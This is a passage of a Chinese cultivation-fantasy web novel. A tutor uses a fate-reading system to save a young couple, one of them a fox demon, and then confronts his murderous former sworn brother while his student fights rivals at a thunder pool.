明月之下,狐妖与少年皆抬头望着那飘然落地的青衫男子。
男子有一枚竹簪束发,偶有几缕散落的碎发被拂过的轻风吹的飘摇,便好似弱柳一般,飘逸若仙。
“是拍卖场那位先生?”
少年忽地一怔,旋即由悲转喜,面露喜色,有些激动而语,他见过眼前男子出手,知晓他实力非凡,若是他愿意相助的话,那今日定能安然无恙。
陆尘微微点头,面带笑意。
其眸子里泛起了一层水雾,水雾之下,少年与那狐妖的命格也盘旋而起,汇聚在二人头顶之处。
一人为紫金颜色,一方至尊之像,一人为红色,大凶之兆。
紫金颜色的是眼下这位嘴角鲜血尚未擦乾的少年,而红色的则是後背上有一道长长爪痕的狐妖。
【姓名:李七】
【年龄:一十八】
【境界:紫府三重】
【命格:紫金之色——一方至尊】
【生平:虽生而未见其父,却得其父馀荫而长,自幼天资聪颖,修行天赋过人,为一宗之翘楚,后喜欢上宗门小师妹,同入百朝战场,百朝战场之中,师妹忽被狐妖掠走,李七追赶之,却遇虎妖拦路,几近身死,危急之时,狐妖献祭,李七方知此狐妖为其小师妹,李七得狐妖献祭,破境而脱困,后李七在百超战场末期,重返此地,诛杀此虎妖,碎尸万段,亦难解心头之恨,入圣地,终成一方至尊,一生孤影一人】
【近期遭遇:追赶被狐妖掠走的师妹,然遇虎妖拦路,几近身死】
按照武道天眼的描述,在历经狐妖献祭后,少年的气运便是达到了紫金之色,为一方至尊之像。
若陆尘出手相救,少年的命格并不会像其他人那般有所提升,反而是会往下降,至於要降多少,陆尘倒是并不知晓。
“且服下这颗丹药吧,可以帮你暂时抑制龙气的影响。”
陆尘看向那狐妖又道,他摊开手掌,掌心处有一枚散发着浓郁药香的橙色丹药。
他之所以这般姗姗来迟,便是在寻这一枚丹药。
狐妖抬眸看了眼陆尘,见陆尘面色带笑,神情坦荡,这才略微安心了些许,当下把那颗丹药叼走,吞入腹中。
只见狐妖身上的毛发缓缓褪下,那张狐脸亦是不断变换,在少年目瞪口呆之下,化作面容苍白的少女。
似乎是丹药发挥了效用,少女脸上的苍白之意暂缓了些许。
她向陆尘点头致谢,而少年则是再也按耐不住,张开双臂极为用力的拥着少女,好像生怕她再消失一般。
“我真的以为再也见不到你了……”
少年哽咽的这般说道,又哭又笑着。
少女则并未有什麽劫後馀生的喜色,眉宇之间依旧有丝丝缕缕的哀愁,始终舒缓不开来。
陆尘眼中,少女的命格已经缓缓变换,原本的红色不断跃动,白,黄,蓝,紫,紫金,一方至尊之像。
至於那哽咽的少年,命格却是不升反跌,由紫色变幻作了蓝色。
【姓名:洛九】
【年龄:???】
【境界:紫府三重】
【命格:紫金】
【生平:为荒古大妖九尾灵狐一族的遗留血脉,久居妖脉之中,未曾见世。
后遇一群年轻人闯入妖脉之中,被大妖屠戮殆尽,唯有一人拚死逃脱
自此後多年,此人复归山脉之中,连番问剑,最後一次,此人与山脉间诸大妖同归於尽,其中已包括洛九母亲,洛九因此记恨此人,发誓一定要报这杀母之仇。
后其化形入尘世之下,刻意寻上了此人之子李七,入宗门与李七成为同宗师兄妹,但与李七日益相处以及人世游历间,洛九又心生犹豫,迟迟未能下定决心。
后入百朝战场之中,洛九因受百朝战场龙气影响,妖气难以抑制,化形不稳,於月色下出逃,被李七紧追不舍。
二人遇虎妖,几近身死之时,洛九欲献祭几身妖力於李七,因贵人出手相救,幸免於难。
两人虽心念彼此,但却有父辈死仇所在,自此日後,往日恩仇烟消云散,一别两宽,分道扬镳。
后洛九得荒古大妖九尾灵狐之精血,血脉觉醒,成一方之妖尊,却一生未进犯人域分毫。】
【近期遭遇:遇虎妖,欲献祭救心念之人,幸得贵人出手相助。】
少女的命格已然转变,而其生平也与陆尘第一次查看时大不相同。
第一次见少女时,其生平仅到遇虎妖而献祭为止,并未有之後成妖尊的那一段小字。
而如今变幻作紫金颜色,少女亦是有了一段获得先祖精血而觉醒血脉的奇遇,最终成为一方妖尊。
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只是二人结局,却依旧唏嘘。
武道天眼上一次观测的时间线下,二人是死别。
如今则是生离。
似乎在武道天眼看来,无论如何,二者都是有缘无分之人。
陆尘自顾自的叹了口气,与此同时,一道机械声亦是在陆尘的耳边响起。
【夫子之责行使完毕】
【恭喜宿主获得大量回馈奖励】
【一:三百年太阴境修为】
【二:九尾不死丹
】
【三:天阶灵宝——妖狐之瞳】
话音落下,便有数道光点在陆尘的心海之中悄然浮现出来。
“给的是指点洛九所给予的奖励……”
陆尘自顾自的嘀咕道。
在系统的判定里,似乎只是机械的按照命格的增减来定的。
自己让李七的命格跌了,哪怕自己所为是李七用生命也愿意换取的,但在系统看来,那也是跌了命格,并不给予奖励。
而少女的命格从红色变幻成紫金颜色,系统则是给予了自己极为丰厚的奖励。
随着使用系统的时间越久,陆尘也便越了解这系统以及武道天眼的运转逻辑。
即这所谓的命格,并非是注定而不可更改之物。
就好似每个人都会有千百种的未来,而武道天眼给出的,则是最有可能发生的那一个未来。
可当陆尘插手后,这个未来则有可能发生改变。
当此未来向更上一层发展时,那麽系统就会判定自己履行了夫子之责,从而给予奖励。
这个层级越高,所给予的奖励便越深。
有时候陆尘也会想,这修行界极为讲究因果,哪怕是至尊亦会有所留意小心,但自己这般随意拨动他人命运,却从未有何因果加身之感,从未受到这方面的影响。
陆尘对此百思不得其解,只能认为是自己的系统有所庇护,遮掩了天道对自己的责罚吧。
当有些结果不如人意时,陆尘也会有稍许感慨,左㱏他人命运的感觉确实很好,仿若是命运的牵引者摆弄者一般,高高在上的将众生玩弄於鼓掌之中。
但有时陆尘亦会觉得自己像是在背负了一座大山,不知不觉间,自己亦是进入了命运的罗网之中,而不能自拔。
第八十八章 妖
想到这些杂事,陆尘便有些头疼,他摇了摇脑袋,不再思虑这些虚无缥缈之事。
不远处,那虎妖仍未离去,但也未冒然上前,而是相隔着一定距离,仔细打量着陆尘。
它身後的那蛇蝎尾巴不断的晃动,尾巴尖勾之处闪烁着亮眼的光。
“还不走?”
陆尘望着它,微眯着眼笑问一句。
那虎妖嘶吼一声,竟真的就此离去。
另一边,鼻尖有着美人痣,眸子狭长好似狐狸一般的少女缓缓挣开少年怀抱,眉头紧锁,并未有任何劫後馀生之喜感。
“师妹……”
少年这才意识到自己先前之举似乎有些失礼,当下轻唤了一声,却也不知道该说什麽好。
少女恍若未闻,呆呆的站在原地。
“走吧,我送你二人回去。”
陆尘出声打破这尴尬氛围。
“多谢先生了,救命之恩,没齿难忘。”
少年回过神来,郑重向陆尘行礼。
少女亦是转过身来,向陆尘施施然行礼。
陆尘微微点头,而後二人在前,陆尘在後,向营地之处而去。
长夜路上,少年三番两次的看向少女想要说些什麽,但始终还是没有开口。
少女也注意到了少年的异样,在走了稍远一段距离后,她停下步,看向少年。
她的脸色平淡,无喜无悲。
“我是妖。”
少女说道。
“我知道的,其实当看到那双眼睛的时候,就已经猜的大差不差了。”
少年说起眼睛,但此时却又不看向着少女眼睛,而是略微低着头说道。
“可妖又如何,只要不随意伤人性命就好了。”
李七又紧接着说道。
“可我吃过,还不少。”
洛九看着李七的眼睛,十分平淡的说道,就好似这是一件很平淡的事情一般。
李七忽地一愣,眸子里闪过了些什麽东西,他哑口无言,不知道该说什麽。
恍惚间,他好像又听到了少女师兄师兄的叫唤。
那像银铃一般的声音不断的在他脑海之中回响,却始终挥之不去。
他还是不敢相信,那个叽叽喳喳像只麻雀一样的少女会一脸平淡的说着什麽自己吃过人这样的话。
这是自己的幻觉吧。
“还有,我亲眼看见你爹杀了我娘,我们是世仇。”
少女依旧风轻云淡,说出的话却恍若惊雷一般,将少年劈的呆愣在原地,失魂落魄良久。
“所以到如今,你还觉得我是你的好师妹吗?”
她看着少年的眼睛,平静问道。
可这般平静的目光,落在少年眼里却是令其万分痛苦,简直快要将他给逼疯。
“你们修道中人不都以降妖除魔为己任吗?你父亲也死在妖怪手中,现在吃人的妖怪就站在你面前,还不动手吗?”
少女又问道。
“别逼我……”
李七已经把头了下去,他双拳握紧,鲜血自五指缝隙之中渗出,将手掌染的鲜红。
他很恨妖。
从小到大李七都知道,那些妖族是最为凶残贪婪的生物,他们总是会肆意的践踏着世俗的凡尘,令不知多少人家家破人亡。
而等知晓自己的父亲是那般的大英雄后,李七更便以捉妖为己任。
当然他也并未青红皂白的见妖便杀。
李七还是相信世上会有好妖的,就像人也会有坏人一般。
所以当李七见到少女真身为妖类时,也并未心生什麽间隙,在第一时间便紧紧的拥住少女,心中是怕失去少女的恐惧以及劫後馀生的庆幸。
可如今看来,自己似乎错了。
妖就是妖。
是改不掉吃人的习性的。
少女
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不再多说什麽,二人就这般沉默着沉默着走了许久。
“你自己回去吧,我是妖,我不和你们待在一起。”
临近营帐之时,少女又这般说道。
“不行,你必须的回去。”
一向对少女轻声细语的少年此时却是斩钉截铁的这般说道,语气之坚定,仿若容不得人丝毫质疑。
“你还能强逼我不成?”
少女皱着眉头,神色有些不悦。
“跟我回去,在我眼里你是妖,在大家眼里,你还是师妹,大家都想看到我们平安回去。”
李七看着少女的眼睛,并未再有分毫的遮掩,他的神色凝重,目光如铁。
少女低头思索了片刻,最终点了点头。
於是乎二人又沉默着接着向前。
陆尘倒并未插手二人这纠纷,情之一字难解,可不是自己这外人能说道什麽的。
至於是否会像武道天眼所看到的那般分道扬镳,那也只能看他们自己的缘分造化了。
“夫子,凌云危,雷鸟关外,玄雷谷——山崖。”
就在此时,大离王朝的联络玉牌忽地有一道简信传来,是青鸟书院弟子山崖所传。
见到这条讯息,陆尘微眯了眯眸子,当下也不再此多停留,飘然离去。
这段日子陆尘一边在指点城中诸天骄,一边则是搜寻各般药材
,顺手炼制了一枚定神丹,替少女稳住了化形之术,以免被此地的龙气所波及。
至於林炎等人,陆尘倒并未操心什麽,毕竟令五人离去时,陆沉并未发觉五人的生平之中有什麽异常。
但如今看来,命非天定,生死皆有可能在一瞬之间。
而陆尘离去后,少年少女极有默契的向陆尘离去方向顿首行礼,只是当二人对视时,却又都摆出一副默然神情出来,就好似彼此互不相识一般。
月色之下,二人渐行渐远,影子越来越长。
第八十九章 雷池禁地
雷鸟关外,玄雷谷。
在那幽深的山谷之间,有一片迷雾终年萦绕不散,彷佛是天神神明所设下的帷幕。
迷雾之间,隐隐约约的隐藏着一口古池,不大不小。
其四周皆是陡峭的山壁,宛如一个天然的牢笼将其禁锢其中,将此古池化作一片禁区,就仿若俗世所形容的雷池禁地一般。
山壁之上,时不时有诡异的光芒闪烁,镌刻成古老而又繁杂的符文。
雷池禁地的上空,乌云终年密布,隐隐有雷光在其中穿梭涌动,彷佛是一条条愤怒的雷龙在蓄势待发。
其池水并非寻常的液态,而是由纯粹的雷电之力凝聚而成,每一滴都蕴含着足以毁灭生灵的恐怖力量。
周围的地面,也早已在长年累月的雷电轰击之下,变得焦黑一片,裂痕遍布,如同被诅咒的土地。
这般蕴藏着大恐怖之地,却有一少年安然栖身於雷池之中,任由雷霆之力不断地席卷周身。
雷池禁地的迷雾之外,数十人站在山谷两侧的山壁之间,好似是守株待兔之人一般。
其为首之人,是一位背着鲜红色长剑的男子。
他的面容狰狞,脸色阴沉,令人不敢与之对视。
“这小子在里面多少天了。”
男子阴恻恻的问道。
“七日了。”
身後有人微颤着声音问道。
哪怕他知晓护道人不能对参赛之人动手,可在这男子身旁,他总归是会忍不住的颤抖。
男子抬起头,看了眼那笼罩着雷池的雾气。
“雾快散了。”
他嘴角勾起一抹笑意,在那狰狞的脸上更显得无比吓人,令人不寒而栗。
此地最大的造化便是此片雷池,乃受雷霆之力锤炼千年而现,可遇而不可求。
诸路人马在此争夺,却没想到被这突然冒出的小子抢了先机,先一步入雷池之中夺天地造化。
各路人马自然不肯罢休,纷纷堵在这雷池之外。
“和这小子同行的那人放出去了吗?”
男子转过头去,又是神色阴冷的问道。
“放出去了,放出去了。”
答话之人连忙答道。
听到自己满意的答案,男子这才收回那阴冷神色,闭起双目,静待着那雾气消散。
随着天月将白,那雾气已然散的七七八八,而雷池间也不再有惊雷落下。
男人抬眼看了下身边人,那人一瞬间便心领神会,猛的提起身边之人甩入那雷池禁地之中。
猛然间,一道惊雷自九天而落,将那被撞入的人击的粉身碎骨。
在场之人皆不免倒吸一口凉气,暗自庆幸还好自己没有越这雷池一步,同时也对那背剑男子越发惧怕,只觉得那人好似疯子一般。
人群之中,唯有一人对那背剑男子不卑不亢,面色淡然。
此人身穿綉有赤龙的长袍,举手投足间自有一番风流,一看便知是自小养尊处优长大之人。
“前辈此举,倒是不妥吧。”
少年名为柳诚,出身顶级皇朝,哪怕在其天骄辈出的顶级皇朝之中,亦是最为顶尖的一批天骄人物,被皇朝中人寄予厚望,望其能与七大帝朝的天之骄子争锋。
其入百朝战场以来,亦是战绩傲人,至今未曾一败,夺得诸多机缘。
而今日倒是其唯一失手之时,被一不知名的毛头小子给抢占了先机。
不过少年倒并未觉得这是什麽不可思议之事,天下英雄本就如过江之鲫,数不胜数,更别说是这天骄齐聚的百朝战场了。
听到此话,男子侧过头来瞥了一眼柳诚,虽并未说话,但眼神异常阴寒。
柳诚眉头一皱,也不再多说什麽,他人生死本与自己无关,如今出声一句,在众人面前落得一个不卑不亢的念头,已经达到了其想要的效果。
照理来说参赛䭾们并不需要惧怕这些护道人,毕竟护道人若是有什麽逾矩之举,届时圣地不仅会追责其本人,连带着其身後宗门皇朝,亦是难以逃脱责罚。
故而绝大部分的护道䭾都不会有什麽逾矩之举,哪怕是需要自己护道的天骄死在自己面前,只要不是因为妖兽等外因,也不会有丝毫插手。
但眼前此人显然和大多数护道䭾并不相同。
这一点是在场天骄都心知肚明之事,故而没有谁愿意用自己的性命去赌这家伙是否会守规矩。
众人对其皆是抱着惧而远之的态度。
在那被甩出去的一人被落雷击的粉身碎骨后,迷雾终於完全散去,露出了雷池重地的真容。
只见有一少年缓缓从雷池之中起身,有雷光在其周身涌动,宛若紫色的灵蛇一般。
少年身形消瘦,但一身灵气却无比的磅礴厚重,令人见之彷佛在面对古之大妖一般。
柳诚微眯着眼看着少年,心中亦是暗暗的有些钦佩。
此番雷劫可不是谁都能扛下来的,少年能在里间待上七日,已经说明了其肉身到了一个极为恐怖的地步,如今雷劫锤炼,定是更上一层楼。
更为恐怖的是少年可不是什麽皇朝出身
人物,听周遭人说,这只是个偏僻小王朝的参赛䭾,能走到今天这地步,实属不易。
“诸位不好意思了,我虽先占了一步,但这雷池并未消散,诸位可自便。”
少年面对此番人马的虎视眈眈,并未露出丝毫的惧意,而是坦然一笑道。
“你觉得你能走吗?”
男子开口问道,他的面色越发狰狞,像是被什麽东西刺激到了一般。
那袖口上綉着白鹿二字的干练短衣明晃晃的,总令他的目光移不开眼。
“雷池又没散,你们自便便是了,与我何干?”
段凌云反问道。
和林炎待久了,嘴皮子功夫倒是学了不少,他当然也知道此刻恐怕走的不会这般轻易了。
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原先少年还想在这雷池之中等到饕餮洞府开启之时,但雾气消散的太快,已经容不得他再接着在雷池之中心无旁骛的参悟了。
他微微低头看了眼掌心的雷电,冥冥之间,自己竟已是感悟到丝丝缕缕的雷道真意,虽说依旧遥不可及,但总算是感知到了。
“也不知多久才能修行到夫子那个地步。”
少年自顾自的想道。
“别做梦了,无论是雷劫所化的灵液还是你自己,都别想从这离开。”
男子呵呵一笑,阴森笑道。
这雷池最大的效用不在於对肉身的锤炼,而是在於领悟雷道真意的契机。
要知道雷代表天罚天劫,与剑道一般,为世间杀伐最重的大道,没有之一。
而剑道又极其讲究所谓天赋,有人手持木剑,随意一挥也是剑意,而有人哪怕用天底下最出色的名剑,也未能与剑道有丝毫共鸣。
相较之下,雷道便没有那麽吃这所谓的天资,哪怕对雷道并没有什麽高於常人的领悟,但在这般雷劫之下亦是有机会悟得大道真意。
而这般机会,是在外界封侯封王境强者都求之不来的。
如今摆在众人面前,却被这毛头小子白白抢占了先机,众人自然不会善罢甘休。
“还愣着干什麽?把这小子杀了扔进雷池里,自然会有雷劫再落。”
男子高声而语,面容狰狞。
周遭人虽是皱眉,但也知晓男子所言非虚,如今雷池大半精华都被这小子夺去,这麽多人再去争那剩下的残羹剩饭定然不够分,只能是将这小子献祭於雷池之中,使得雷劫再落,方可有感悟雷道真意的机会。
这般想着,当下的众人也不再犹豫,猛的袭向少年。
柳诚皱了皱眉,他并不愿以多欺少,但也知晓此时不是讲究什麽公平的时候,若是他不出力,待会分取战果之时,哪怕其出身顶级皇朝,想要占战果大头也不会使人信服。
混战之中,少年周身雷光缭绕,每一出手,便有惊雷自九天而落,声势惊人。
这还只是其捉摸到一丝雷道真意的结果,可想而知,若是其领悟了完整的雷道真意,那麽战力会何等的恐怖。
“荒古神体!”
砰的一声,有一股晃荡之气带着荒芜而又磅礴之气将众人激荡开来。
有人眼尖,认出了这股气息所在。
问得此言,众人也都是知晓,
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为何少年会能抗得住整整七日的大道雷光了。
荒古神体在荒古年间乃是一等一的修行体质,虽因天地大道变幻,在如今并无昔年那麽威压天地的伟力,但依旧恐怖无比,非常人所能及。
少年的威势虽镇住场中人片刻,但此中人皆是天骄人物,很快便回过神来,猛的向少年袭去。
各般浩荡的灵气威压之下,少年人已是节节败退,有些难以支撑。
柳诚在最前方处,其手上亦是有雷光萦绕,虽不似少年手中雷光那般浩荡,却更为灵动飘逸,好似是千百条灵蛇一般。
二人交起手来,一时之间,雷道气息在天地之间激荡,周遭人更是有些难以近身,全然跟不上二者身手。
“两人身上都有一丝雷道真意啊……”
“若是令柳诚入了这雷池,说不定真能悟得完整的雷道真意,到时候或许真能和帝朝那些妖孽争锋了吧。”
“可惜被这小子给截胡了,这般大道机缘丢了,这下可是生死大仇咯。”
看着两位天之骄子的交手,有人在一旁不自觉的感叹道。
其馀人亦是惊叹不已,同为天骄,但彼此之间亦是有差距,至少场中人都心知肚明,若是单打独斗,没有一人会是柳诚以及这少年的对手。
“我的好三弟,怎麽还没来呢?你这学生可要被人打死咯。”
楚星宇看着被柳诚逼得节节败退,已然是口吐鲜血的段凌云,目光阴恻恻的说道。
他回头向远处眺望,背上血红色的长剑瞳孔亦是不停眨巴着,妖邪异常。
“你等着,我会一步步把所有你在意你珍视的东西都给毁了的,许端是一个,这小子是一个,还有那破书院,都该死。”
“你会体会到我的痛苦的,到那时候你就知道,我所做的一切都是应该的。”
他拔出长剑,伸出舌头舔过剑刃,有鲜血渗在长剑剑身
之上,使得那本就鲜红的长剑变得更为妖异。
山谷之间,段凌云猛的被柳诚一掌掌心雷击中,当即重重的摔在岩壁之上,止不住的一口鲜血吐出。
他略微有些狼狈的站起身来,气息已是越发微弱。
段凌云只是紫府三重境界,而柳诚则是货真价实的上阳境,再加上先前众人围攻,本就令段凌云气息消耗巨大,如今二人捉对厮杀,段凌云自然不是对手,并未与柳诚过手多招,便是身受重创。
“我本无意趁火打劫,但此番雷池我本就视为囊中之物,准备多日,再加之我修习雷法,更需要这雷池相助,领悟雷道真意,你不该抢的。”
柳诚神色浮现悲意,像是看着死人一般看着段凌云,有些叹息的说道。
“这雷池你家的?”
段凌云反问道。
话一出口,他又在心里暗骂一句,怎麽老是学林炎说话,该像夫子那般气定神闲的才对。
他有段时间也想学夫子的模样,於是给自己的屋子里搬来一整屋的书卷。
书上说腹有诗书气自华,夫子身上的气息大概也是那般吧。
但段凌云实在看不进书去,明明每个字都认识,可连在一起却是晦涩难懂,好似是天书一般。
最後他只能是放弃这个想法,夫子知道后倒只是轻笑了声,说无需学他,每个人都该独一无二的活着才对。
段凌云觉得夫子说的很有道理,但还是被林炎带偏了不少,与人对敌时喜欢说些反讽他人的话了。
“你入雷池确实没错,但错就错在,你只有一人,王朝出身的人走到这一步不容易,若你连借势都不懂,硬要强取不该你碰的东西,那活该死在此处。”
柳诚又用那般悲悯的神色看着段凌云,好似他已然是具尸体一般。
他手中雷光涌动,猛的急掠而出,换做一柄飞剑,好似要贯穿整片天地。
段凌云咬了咬牙,混沌之气不再遮掩,显露而出。
“好一个借势,说到底不就欺负我学生只有一人吗?”
有大笑声传来,而後数位少年落地,皆是气息如龙。
“终於来了。”
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第九十章 死仇
如迅雷般落下的几位少年一瞬间便吸引了在场所有人的目光。
其中一人锦衣玉服,其繁华之盛,更是比柳诚身上那件赤龙袍有过之而无不及。
他手上拿着金精铜钱,其上刻着斑驳符文,不自觉的便散发着古朴而又厚重的迫人气息。
另一人笑容灿烂,紫发闭眼,手中拿着一轮月轮,好似弯刀一般。
还有一人手持无鞘剑,面色冰冷,神情漠然,彷佛对世间一切都并无所谓一般。
三人就这般站在段凌云身前,在场的诸位天骄,竟无一人再敢上前。
饶是柳诚自己,在见到三人後也是瞳孔微缩,面色有些难看。
他虽不认得另外两人,但那百里世家的公子却是认得一清二楚。
那是真正可以和帝朝天骄去争锋的少年至尊,自己与其交手,恐怕讨不得丝毫好处。
至於另外两人,柳诚虽知之甚少,但亦是能感受到二䭾皆是真正的少年至尊,非寻常天骄所能及。
“别来无恙啊,三弟。”
就在在场人将目光都汇聚於三位从天而降的少年时,那一直令在场天骄惧怕的阴沉男子却忽地出声,那张狰狞着脸上显露出阴森笑意。
直到这时,众人才发觉,有一位青衫长袍的束发男子已立於崖壁之上,面色凝重,没有半点嬉笑之意。
二人相视,目光如剑。
陆尘强压下心中杀意,将目光看向柳诚等人。
“我给你个机会,让你与我学生捉对厮杀,如何?”
他语气平淡说道。
柳诚一愣,旋即心中不自觉的生出喜色。
原以为这三人出现后,自己已经没有半分机会去夺取那雷道机缘,但看这位护道人所言,自己似乎还有机会。
“多谢前辈。”
柳诚心中虽是暗喜,但面色上却依旧不显露出来。
他一向是这般一个人,无论心中所思所想为何,都不会在脸色上表现出来。
“其实你先前所说确实有道理,人不可能不借势的,但若此时要以势压人,你信不信他四人联手,你们在场的这些参赛䭾没一个走的掉。”
陆尘又眯着眼说道,声音透露出丝丝许许的寒意。
在场的天骄面面相觑,却又没人敢言此事当不得真。
他们本就是天之骄子,自然比常人要更有眼力见识,知晓眼前的几位少年绝非凡类,每一人都万分可怕。
而段凌云见到夫子这般模样也是稍稍一愣,在其印象之中,夫子一向都是和颜悦色的,眼睛微眯,好似世间的一切尽在掌握之中,从未有过何任何生气动怒神色,像如今这般,倒是实属罕见。
柳诚听得陆尘这话瞳孔一缩,他比在场的任何人都知道,陆尘此话所言非虚。
“凌云,可曾有惧?”
陆尘望向段凌云,又露出浅浅笑意。
“凌云无惧。”
段凌云擦乾嘴角鲜血,目光如炬。
“你放手厮杀便是,今日,无人能以势压你。”
陆尘又道。
段凌云郑重点头,混沌之气宣泄而出,一瞬之间令天地为之色变。
“混沌气!”
“此子竟然身负《太上开天经》!难怪能扛住这七日雷劫磨灭。”
“荒古神体加之混沌经,又有雷劫磨砺,但凡没有陨落,来日必定是真正的至尊强䭾啊……”
见段凌云身上混沌之气宣泄而出,在场众人又是为之一惊,同时也对少年的这份隐忍感到可怕。
先前被众人那般围攻,竟还藏着这般恐怖至极的底牌。
要知晓《太上开天经》不仅世所罕见,只在圣地最顶尖的那批天骄之中流传,其修行难度,亦是常人所不能及,哪怕有人意外得之,也极难入门,想要修出真正的混沌之气,那更是比登天还难。
“若不是此子尚且年幼,恐怕真能和帝朝那些妖孽相争锋。”
又有人这般说道。
这已经是个极高的评价,毕竟每年的百朝大战,最终走到龙脉核心之处的那批人,无一例外,皆是帝朝之人,这些人本就是圣地钦定的种子,来此百朝战场一趟,与其说是试炼,倒不如说是来寻宝的。
柳诚见段凌云混沌之气宣泄而出,当下面色稍沉,但其身为天骄,自然有其傲气,虽觉得有些棘手,但也未曾生出丝毫的惧意。
“做甚务甚,雷公敕令!”
只见其喝令一声,将全身灵气凝聚於指尖,一指点出,惊雷便猛的自九天而落,仿若真正的雷劫降世一般。
巨大的神像虚影在其身後凝聚,那是手拿钉锤,生有双翅,面容有些丑陋的神像,浑身上下都散发着雷道劫光的恐怖气息。
直到此刻,众人才彻底意识到柳诚身为顶尖皇朝天骄人物的底气。
“天外走一趟?”
陆尘倒是并不在意两位少年引发的天地异象,而是转而面向那阴沉男子。
男子嘴角勾起笑意,瞳孔猩红,极为妖异。
他手一挥剑,长剑便是带起一股血腥之色,令人万分惊惧。
“正有此意
。”
二人不再废话,身影皆是如惊鸿一般,向天外掠去。
九天之上,二人立身於云间,皆是飘然若仙。
“我的好三弟,你不会知道我这些日子经历了什麽的。”
楚星宇眸子里闪过一丝妖异之色,歪着头面容狰狞说道。
陆尘显然对此不感兴趣,面色虽是平淡,但心里的杀意却是暴涨而出,隐约有些按耐不住。
听山崖描述那阴沉男子时,陆尘心中便隐隐的有些猜测,同时亦是有些期待。
原先陆尘的打算是待得从百朝战场离开后再去清算这笔血债,倒是没想到楚星宇自己找了上来。
而且看其气息,显然已是踏入魔道之中,不仅肉身重塑,实力亦是有了极大进展。
“又如何?”
陆尘反问道。
“你知道这些日子我在剑冢是怎麽过的吗?那些飞剑伤的是我的神魂啊!无论我的肉身如何重塑,这张脸都只能是这副鬼样子了,你开心了吗好三弟。”
他并未急着动手,而像是个絮絮叨叨的怨妇一般不断向陆尘抱怨着,就好似他所受的一切苦楚都是由陆尘所带来的一般。
楚星宇的面色狰狞,那张脸上满是各种剑痕,彼此相互纵横交错着,确实显得十分骇人。
“咎由自取罢了。”
陆尘可一点都不对楚星宇有什麽怜悯之情,他纵使有一千个一万个理由,可没有哪个理由是能说服陆尘杀害大哥许端是情有可原的。
“你看看,就是这副嘴脸,就是这副高高在上自以为是的嘴脸。”
楚星宇忽地大笑起来,那张满是剑痕的脸变得越发狰狞。
“你不懂啊,你不会懂啊!所有人都围着你转,所有人都无缘无故的对你好,你当然不懂,你永远不会懂!”
他笑着笑着,眼中忽地燃起怒火,而後便是猛的向陆尘嘶吼着,声嘶力竭,穿透整片天际。
“哪来那麽多废话?”
陆尘长袖一挥,灵气便是化作一把长剑。
“我问问你,明明千里迢迢找上许端的是我,是救他的也是我,凭什麽他要把丹药给你,凭什麽!”
楚星宇厉声质问着,似乎心里始终藏着一个难以放下的心结,久而久之便化作乌云,遮蔽了整片天日,令人看不得半点光。
“那我问你,当年十二把单刀劫法场救你,险些身死之时,大哥可曾让你还些什麽?一人独闯三山六派救清寒之时,又可曾让她还些什麽?”
陆尘强压着心中杀意以及恶心反问道。
楚星宇沉默了片刻,而後眼中又燃烧着怒火,像是永不熄灭一般。
“那又如何?!那凭什麽那颗丹药就非得要给你!你告诉我凭什麽啊!”
他怒吼着,质问着,无论如何,都不能改变他的想法。
“丹药是你拿的?”
陆尘不愿再多言语。
说一千句,道一万句也叫不醒一个装睡的人。
“三弟呀,你还是和以前一样,牙尖嘴利的,但很快,你就说不出话了。”
楚星宇也不再和陆尘做口舌之争,只是眼中闪过浓厚至极的杀意,舌头不自觉的舔了舔嘴唇,像是将要弑杀猎物的虎豹一般。
“你知道前些日子,我刚杀了个不长眼的神游境强者吗?这把剑,饮血饮的多了,就总念着血,尤其是你的。”
他手似指针般摆动,而後血红色长剑剑锋直指陆尘。
“你放心,我不会杀了你,
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我要让你亲眼看着失去所有的一切,只有这样,你才能体会我万分之一的痛苦。”
他阴恻恻的笑着,好似在看着一只待宰的羔羊一般。
“你在做梦?”
陆尘又问道。
楚星宇对於陆尘的这般挑衅之语不以为意,他时时刻刻的记着自己在剑冢之中所受的折磨,也知晓自己的这份修为多麽来之不易,所以当陆尘这般挑衅时,他反而有种满足之感,就好似看着困兽在做最後的挣扎一般。
“这一剑,我要让你先受我当日肉身尽毁之痛。”
他面露狰狞而语,而後那长剑奋力一挥,只见得血红色的剑气急掠而出,好似有千百冤魂汇聚於那剑气之中一般,哭嚎着显露出悲惨面目。
陆尘立於云间,手腕抖动,亦是一剑挥出。
剑气如鲸入海,波浪滔天,与那血红色的剑气相撞,一瞬间使得天外天被极为浩荡的灵气威压席卷而过,宛如炼狱一般不敢使人靠近。
山谷之中的天骄们亦是被那天外天的浩荡气息给吸引住,哪怕相隔遥远,亦是能感知到期间有一股极为浩荡的灵气宣泄着,哪怕是圣地那些大能交手,怕是也不过如此了吧。
“难怪那少年出身王朝,却又身负混沌之气,原来有这般的师者。”
“若我猜的没错,他这位护道者恐怕是圣地流落在外之人,在小王朝之中隐居不出,这才会这般惊人。”
有人试着猜测陆尘的身份,最终得出这般的结论。
此言很快的便引得在场天骄的认同,纷纷推断陆尘一定是圣地流落在外的隐世之人,这才能自身如此恐怖的情况下,又教出段凌云这般惊人的弟子。
……
天外天上。
那如鲸入海般的剑气在击散那血红色剑气后,仍旧没有丝毫的衰减,如延绵不绝的千里群山一般。
此为一品剑意,剑气长。
剑气激荡,直掠至楚星宇身前。
楚星宇瞳孔猛缩,当即横剑格挡,他浑身灵力倾注於剑身之中,却发觉竟然只是勉强够挡住这一剑。
而这一剑过後,又马上有一道剑气已至身前。
一品剑意,破万法。
楚星宇来不及有任何别的动作,只能依旧保持那横剑格挡的姿势,血红色的长剑血光大放,那只竖瞳亦是射出一道血光,交融汇合的与陆尘的剑意相抗。
出乎楚星宇的意料,那道剑气凌厉的有些不像世间之物。
好似万事万物在其上都如同薄纸一般,哪怕是这饮过诸多强者的妖邪之剑,在这道剑意之下,亦是顷刻崩碎,化作尘灰。
他不敢相信,他不敢相信为什麽陆尘的实力会暴涨到这般恐怖的地步。
明明自己已经能轻易斩杀神游境强者了,而他陆尘一个太阴境的修士,到底是如何跨过这条难以逾越的鸿沟的?
可他已经来不及再有别的思考了,只见陆尘瞳孔之中血色浮现,而後楚星宇便觉得眼前的天地旋转变换,自天外天一瞬坠入到一片荒漠之中。
他记起来了,这是许端死的那片荒漠。
就是在这里,他杀了许端,夺得了洗髓丹,真正的走上了一条修行坦途。
可如今看来,这条路似乎并不是什麽坦途。
陆尘没有再有任何多馀的废话,两道一品剑意后,立马接上小神通——大梦乖离将楚星宇拉入这片幻镜之中。
血仇在此而起,亦在此而结。
他双手结印,滔天的赤焰一瞬间自其脚下蔓延而出,好似要将整片荒漠点燃。
